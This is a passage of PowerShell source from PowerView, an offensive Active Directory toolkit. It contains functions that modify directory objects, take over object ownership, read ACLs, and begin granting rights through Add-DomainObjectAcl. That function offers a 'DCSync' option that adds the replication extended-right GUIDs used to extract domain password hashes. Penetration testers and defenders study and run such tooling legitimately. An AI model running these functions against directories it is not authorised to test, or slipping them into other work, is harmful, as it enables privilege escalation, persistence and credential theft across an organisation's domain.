'Raw' = $True
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] =
$LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] =
$SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope']
= $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }

if ($PSBoundParameters['Properties']) {
$PropertyFilter = $PSBoundParameters['Properties'] -Join '|'
}
else {
$PropertyFilter = ''
}
}

PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] =
$Identity }

Get-DomainObject @SearcherArguments | ForEach-Object {


$ObjectDN = $_.Properties['distinguishedname'][0]
ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) {
$TempObject = [xml]$XMLNode | Select-Object -ExpandProperty
'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue
if ($TempObject) {
if ($TempObject.pszAttributeName -Match $PropertyFilter) {
$Output = New-Object PSObject
$Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN
$Output | Add-Member NoteProperty 'AttributeName'
$TempObject.pszAttributeName
$Output | Add-Member NoteProperty 'AttributeValue'
$TempObject.pszObjectDn
$Output | Add-Member NoteProperty 'TimeCreated'
$TempObject.ftimeCreated
$Output | Add-Member NoteProperty 'TimeDeleted'
$TempObject.ftimeDeleted
$Output | Add-Member NoteProperty 'LastOriginatingChange'
$TempObject.ftimeLastOriginatingChange
$Output | Add-Member NoteProperty 'Version'
$TempObject.dwVersion
$Output | Add-Member NoteProperty 'LastOriginatingDsaDN'
$TempObject.pszLastOriginatingDsaDN
$Output.PSObject.TypeNames.Insert(0,
'PowerView.ADObjectLinkedAttributeHistory')
$Output
}
}
else {
Write-Verbose "[Get-DomainObjectLinkedAttributeHistory] Error
retrieving 'msds-replvaluemetadata' for '$ObjectDN'"
}
}
}
}
}

function Set-DomainObject {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChang
ingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,

[ValidateNotNullOrEmpty()]
[Alias('Replace')]
[Hashtable]
$Set,

[ValidateNotNullOrEmpty()]
[Hashtable]
$XOR,

[ValidateNotNullOrEmpty()]
[String[]]
$Clear,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
$SearcherArguments = @{'Raw' = $True}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] =
$LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] =
$SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope']
= $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }
}

PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] =
$Identity }

$RawObject = Get-DomainObject @SearcherArguments


ForEach ($Object in $RawObject) {

$Entry = $RawObject.GetDirectoryEntry()

if($PSBoundParameters['Set']) {
try {
$PSBoundParameters['Set'].GetEnumerator() | ForEach-Object {
Write-Verbose "[Set-DomainObject] Setting '$($_.Name)' to
'$($_.Value)' for object '$($RawObject.Properties.samaccountname)'"
$Entry.put($_.Name, $_.Value)
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error setting/replacing
properties for object '$($RawObject.Properties.samaccountname)' : $_"
}
}
if($PSBoundParameters['XOR']) {
try {
$PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object {
$PropertyName = $_.Name
$PropertyXorValue = $_.Value
Write-Verbose "[Set-DomainObject] XORing '$PropertyName'
with '$PropertyXorValue' for object '$($RawObject.Properties.samaccountname)'"
$TypeName = $Entry.$PropertyName[0].GetType().name

$PropertyValue = $($Entry.$PropertyName) -bxor


$PropertyXorValue
$Entry.$PropertyName = $PropertyValue -as $TypeName
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error XOR'ing properties for
object '$($RawObject.Properties.samaccountname)' : $_"
}
}
if($PSBoundParameters['Clear']) {
try {
$PSBoundParameters['Clear'] | ForEach-Object {
$PropertyName = $_
Write-Verbose "[Set-DomainObject] Clearing '$PropertyName'
for object '$($RawObject.Properties.samaccountname)'"
$Entry.$PropertyName.clear()
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error clearing properties for
object '$($RawObject.Properties.samaccountname)' : $_"
}
}
}
}
}
function ConvertFrom-LDAPLogonHours {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssign
ments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.LogonHours')]
[CmdletBinding()]
Param (
[Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName =
$True)]
[ValidateNotNullOrEmpty()]
[byte[]]
$LogonHoursArray
)

Begin {
if($LogonHoursArray.Count -ne 21) {
throw "LogonHoursArray is the incorrect length"
}

function ConvertTo-LogonHoursArray {
Param (
[int[]]
$HoursArr
)

$LogonHours = New-Object bool[] 24


for($i=0; $i -lt 3; $i++) {
$Byte = $HoursArr[$i]
$Offset = $i * 8
$Str = [Convert]::ToString($Byte,2).PadLeft(8,'0')

$LogonHours[$Offset+0] = [bool] [convert]::ToInt32([string]$Str[7])


$LogonHours[$Offset+1] = [bool] [convert]::ToInt32([string]$Str[6])
$LogonHours[$Offset+2] = [bool] [convert]::ToInt32([string]$Str[5])
$LogonHours[$Offset+3] = [bool] [convert]::ToInt32([string]$Str[4])
$LogonHours[$Offset+4] = [bool] [convert]::ToInt32([string]$Str[3])
$LogonHours[$Offset+5] = [bool] [convert]::ToInt32([string]$Str[2])
$LogonHours[$Offset+6] = [bool] [convert]::ToInt32([string]$Str[1])
$LogonHours[$Offset+7] = [bool] [convert]::ToInt32([string]$Str[0])
}

$LogonHours
}
}

Process {
$Output = @{
Sunday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[0..2]
Monday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[3..5]
Tuesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[6..8]
Wednesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[9..11]
Thurs = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[12..14]
Friday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[15..17]
Saturday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[18..20]
}
$Output = New-Object PSObject -Property $Output
$Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonHours')
$Output
}
}

function New-ADObjectAccessControlEntry {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChang
ingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Security.AccessControl.AuthorizationRule')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True, Mandatory = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String]
$PrincipalIdentity,

[ValidateNotNullOrEmpty()]
[String]
$PrincipalDomain,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,

[Parameter(Mandatory = $True)]
[ValidateSet('AccessSystemSecurity',
'CreateChild','Delete','DeleteChild','DeleteTree','ExtendedRight','GenericAll','Gen
ericExecute','GenericRead','GenericWrite','ListChildren','ListObject','ReadControl'
,'ReadProperty','Self','Synchronize','WriteDacl','WriteOwner','WriteProperty')]
$Right,

[Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')]


[ValidateSet('Allow', 'Deny')]
[String[]]
$AccessControlType,

[Parameter(Mandatory = $True, ParameterSetName='AuditRuleType')]


[ValidateSet('Success', 'Failure')]
[String]
$AuditFlag,

[Parameter(Mandatory = $False, ParameterSetName='AccessRuleType')]


[Parameter(Mandatory = $False, ParameterSetName='AuditRuleType')]
[Parameter(Mandatory = $False, ParameterSetName='ObjectGuidLookup')]
[Guid]
$ObjectType,

[ValidateSet('All', 'Children','Descendents','None','SelfAndChildren')]
[String]
$InheritanceType,

[Guid]
$InheritedObjectType
)

Begin {
if ($PrincipalIdentity -notmatch '^S-1-.*') {
$PrincipalSearcherArguments = @{
'Identity' = $PrincipalIdentity
'Properties' = 'distinguishedname,objectsid'
}
if ($PSBoundParameters['PrincipalDomain'])
{ $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
if ($PSBoundParameters['Server'])
{ $PrincipalSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope'])
{ $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone'])
{ $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential'])
{ $PrincipalSearcherArguments['Credential'] = $Credential }
$Principal = Get-DomainObject @PrincipalSearcherArguments
if (-not $Principal) {
throw "Unable to resolve principal: $PrincipalIdentity"
}
elseif($Principal.Count -gt 1) {
throw "PrincipalIdentity matches multiple AD objects, but only one
is allowed"
}
$ObjectSid = $Principal.objectsid
}
else {
$ObjectSid = $PrincipalIdentity
}

$ADRight = 0
foreach($r in $Right) {
$ADRight = $ADRight -bor
(([System.DirectoryServices.ActiveDirectoryRights]$r).value__)
}
$ADRight = [System.DirectoryServices.ActiveDirectoryRights]$ADRight

$Identity = [System.Security.Principal.IdentityReference]
([System.Security.Principal.SecurityIdentifier]$ObjectSid)
}

Process {
if($PSCmdlet.ParameterSetName -eq 'AuditRuleType') {

if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and


$InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -
ArgumentList $Identity, $ADRight, $AuditFlag
} elseif($ObjectType -eq $null -and $InheritanceType -ne
[String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -
ArgumentList $Identity, $ADRight, $AuditFlag,
([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType)
} elseif($ObjectType -eq $null -and $InheritanceType -ne
[String]::Empty -and $InheritedObjectType -ne $null) {
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -
ArgumentList $Identity, $ADRight, $AuditFlag,
([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType),
$InheritedObjectType
} elseif($ObjectType -ne $null -and $InheritanceType -eq
[String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -
ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType
} elseif($ObjectType -ne $null -and $InheritanceType -ne
[String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -
ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType
} elseif($ObjectType -ne $null -and $InheritanceType -ne
[String]::Empty -and $InheritedObjectType -ne $null) {
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -
ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType,
$InheritedObjectType
}

}
else {

if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and


$InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -
ArgumentList $Identity, $ADRight, $AccessControlType
} elseif($ObjectType -eq $null -and $InheritanceType -ne
[String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -
ArgumentList $Identity, $ADRight, $AccessControlType,
([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType)
} elseif($ObjectType -eq $null -and $InheritanceType -ne
[String]::Empty -and $InheritedObjectType -ne $null) {
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -
ArgumentList $Identity, $ADRight, $AccessControlType,
([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType),
$InheritedObjectType
} elseif($ObjectType -ne $null -and $InheritanceType -eq
[String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -
ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType
} elseif($ObjectType -ne $null -and $InheritanceType -ne
[String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -
ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType
} elseif($ObjectType -ne $null -and $InheritanceType -ne
[String]::Empty -and $InheritedObjectType -ne $null) {
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -
ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType,
$InheritanceType, $InheritedObjectType
}

}
}
}

function Set-DomainObjectOwner {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChang
ingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String]
$Identity,

[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Alias('Owner')]
[String]
$OwnerIdentity,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,

[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] =
$LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] =
$SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope']
= $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }

$OwnerSid = Get-DomainObject @SearcherArguments -Identity $OwnerIdentity -


Properties objectsid | Select-Object -ExpandProperty objectsid
if ($OwnerSid) {
$OwnerIdentityReference =
[System.Security.Principal.SecurityIdentifier]$OwnerSid
}
else {
Write-Warning "[Set-DomainObjectOwner] Error parsing owner identity
'$OwnerIdentity'"
}
}

PROCESS {
if ($OwnerIdentityReference) {
$SearcherArguments['Raw'] = $True
$SearcherArguments['Identity'] = $Identity
$RawObject = Get-DomainObject @SearcherArguments

ForEach ($Object in $RawObject) {


try {
Write-Verbose "[Set-DomainObjectOwner] Attempting to set the
owner for '$Identity' to '$OwnerIdentity'"
$Entry = $RawObject.GetDirectoryEntry()
$Entry.PsBase.Options.SecurityMasks = 'Owner'
$Entry.PsBase.ObjectSecurity.SetOwner($OwnerIdentityReference)
$Entry.PsBase.CommitChanges()
}
catch {
Write-Warning "[Set-DomainObjectOwner] Error setting owner: $_"
}
}
}
}
}

function Get-DomainObjectAcl {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ACL')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,

[Switch]
$Sacl,

[Switch]
$ResolveGUIDs,

[String]
[Alias('Rights')]
[ValidateSet('All', 'ResetPassword', 'WriteMembers')]
$RightsFilter,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,

[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
$SearcherArguments = @{
'Properties' =
'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid'
}

if ($PSBoundParameters['Sacl']) {
$SearcherArguments['SecurityMasks'] = 'Sacl'
}
else {
$SearcherArguments['SecurityMasks'] = 'Dacl'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] =
$SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope']
= $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }
$Searcher = Get-DomainSearcher @SearcherArguments

$DomainGUIDMapArguments = @{}
if ($PSBoundParameters['Domain']) { $DomainGUIDMapArguments['Domain'] =
$Domain }
if ($PSBoundParameters['Server']) { $DomainGUIDMapArguments['Server'] =
$Server }
if ($PSBoundParameters['ResultPageSize'])
{ $DomainGUIDMapArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $DomainGUIDMapArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Credential'])
{ $DomainGUIDMapArguments['Credential'] = $Credential }

if ($PSBoundParameters['ResolveGUIDs']) {
$GUIDs = Get-DomainGUIDMap @DomainGUIDMapArguments
}
}

PROCESS {
if ($Searcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-.*') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not
$PSBoundParameters['SearchBase'])) {

$IdentityDomain =
$IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -
replace ',','.'
Write-Verbose "[Get-DomainObjectAcl] Extracted domain
'$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$Searcher = Get-DomainSearcher @SearcherArguments
if (-not $Searcher) {
Write-Warning "[Get-DomainObjectAcl] Unable to retrieve
domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}
[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() |
ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('.')) {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)
(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
}
else {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)
(name=$IdentityInstance)(displayname=$IdentityInstance))"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}

if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainObjectAcl] Using additional LDAP filter:
$LDAPFilter"
$Filter += "$LDAPFilter"
}

if ($Filter) {
$Searcher.filter = "(&$Filter)"
}
Write-Verbose "[Get-DomainObjectAcl] Get-DomainObjectAcl filter string:
$($Searcher.filter)"

$Results = $Searcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$Object = $_.Properties

if ($Object.objectsid -and $Object.objectsid[0]) {


$ObjectSid = (New-Object
System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value
}
else {
$ObjectSid = $Null
}

try {
New-Object Security.AccessControl.RawSecurityDescriptor -
ArgumentList $Object['ntsecuritydescriptor'][0], 0 | ForEach-Object { if
($PSBoundParameters['Sacl']) {$_.SystemAcl} else {$_.DiscretionaryAcl} } | ForEach-
Object {
if ($PSBoundParameters['RightsFilter']) {
$GuidFilter = Switch ($RightsFilter) {
'ResetPassword' { '00299570-246d-11d0-a768-
00aa006e0529' }
'WriteMembers' { 'bf9679c0-0de6-11d0-a285-
00aa003049e2' }
Default { '00000000-0000-0000-0000-000000000000' }
}
if ($_.ObjectType -eq $GuidFilter) {
$_ | Add-Member NoteProperty 'ObjectDN'
$Object.distinguishedname[0]
$_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid
$Continue = $True
}
}
else {
$_ | Add-Member NoteProperty 'ObjectDN'
$Object.distinguishedname[0]
$_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid
$Continue = $True
}

if ($Continue) {
$_ | Add-Member NoteProperty 'ActiveDirectoryRights'
([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask))
if ($GUIDs) {
$AclProperties = @{}
$_.psobject.properties | ForEach-Object {
if ($_.Name -match 'ObjectType|
InheritedObjectType|ObjectAceType|InheritedObjectAceType') {
try {
$AclProperties[$_.Name] =
$GUIDs[$_.Value.toString()]
}
catch {
$AclProperties[$_.Name] = $_.Value
}
}
else {
$AclProperties[$_.Name] = $_.Value
}
}
$OutObject = New-Object -TypeName PSObject -
Property $AclProperties
$OutObject.PSObject.TypeNames.Insert(0,
'PowerView.ACL')
$OutObject
}
else {
$_.PSObject.TypeNames.Insert(0, 'PowerView.ACL')
$_
}
}
}
}
catch {
Write-Verbose "[Get-DomainObjectAcl] Error: $_"
}
}
}
}
}

function Add-DomainObjectAcl {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$TargetIdentity,

[ValidateNotNullOrEmpty()]
[String]
$TargetDomain,

[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$TargetLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$TargetSearchBase,

[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String[]]
$PrincipalIdentity,

[ValidateNotNullOrEmpty()]
[String]
$PrincipalDomain,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,

[ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')]


[String]
$Rights = 'All',

[Guid]
$RightsGUID
)

BEGIN {
$TargetSearcherArguments = @{
'Properties' = 'distinguishedname'
'Raw' = $True
}
if ($PSBoundParameters['TargetDomain'])
{ $TargetSearcherArguments['Domain'] = $TargetDomain }
if ($PSBoundParameters['TargetLDAPFilter'])
{ $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter }
if ($PSBoundParameters['TargetSearchBase'])
{ $TargetSearcherArguments['SearchBase'] = $TargetSearchBase }
if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope'])
{ $TargetSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone'])
{ $TargetSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential'])
{ $TargetSearcherArguments['Credential'] = $Credential }

$PrincipalSearcherArguments = @{
'Identity' = $PrincipalIdentity
'Properties' = 'distinguishedname,objectsid'
}
if ($PSBoundParameters['PrincipalDomain'])
{ $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope'])
{ $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone'])
{ $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential'])
{ $PrincipalSearcherArguments['Credential'] = $Credential }
$Principals = Get-DomainObject @PrincipalSearcherArguments
if (-not $Principals) {
throw "Unable to resolve principal: $PrincipalIdentity"
}
}

PROCESS {
$TargetSearcherArguments['Identity'] = $TargetIdentity
$Targets = Get-DomainObject @TargetSearcherArguments

ForEach ($TargetObject in $Targets) {

$InheritanceType =
[System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None'
$ControlType = [System.Security.AccessControl.AccessControlType]
'Allow'
$ACEs = @()

if ($RightsGUID) {
$GUIDs = @($RightsGUID)
}
else {
$GUIDs = Switch ($Rights) {

'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }

'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-
9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'}
}
}

ForEach ($PrincipalObject in $Principals) {


Write-Verbose "[Add-DomainObjectAcl] Granting principal $
($PrincipalObject.distinguishedname) '$Rights' on $
($TargetObject.Properties.distinguishedname)"

try {
$Identity = [System.Security.Principal.IdentityReference]
([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid)

if ($GUIDs) {
ForEach ($GUID in $GUIDs) {
$NewGUID = New-Object Guid $GUID
$ADRights =
[System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight'
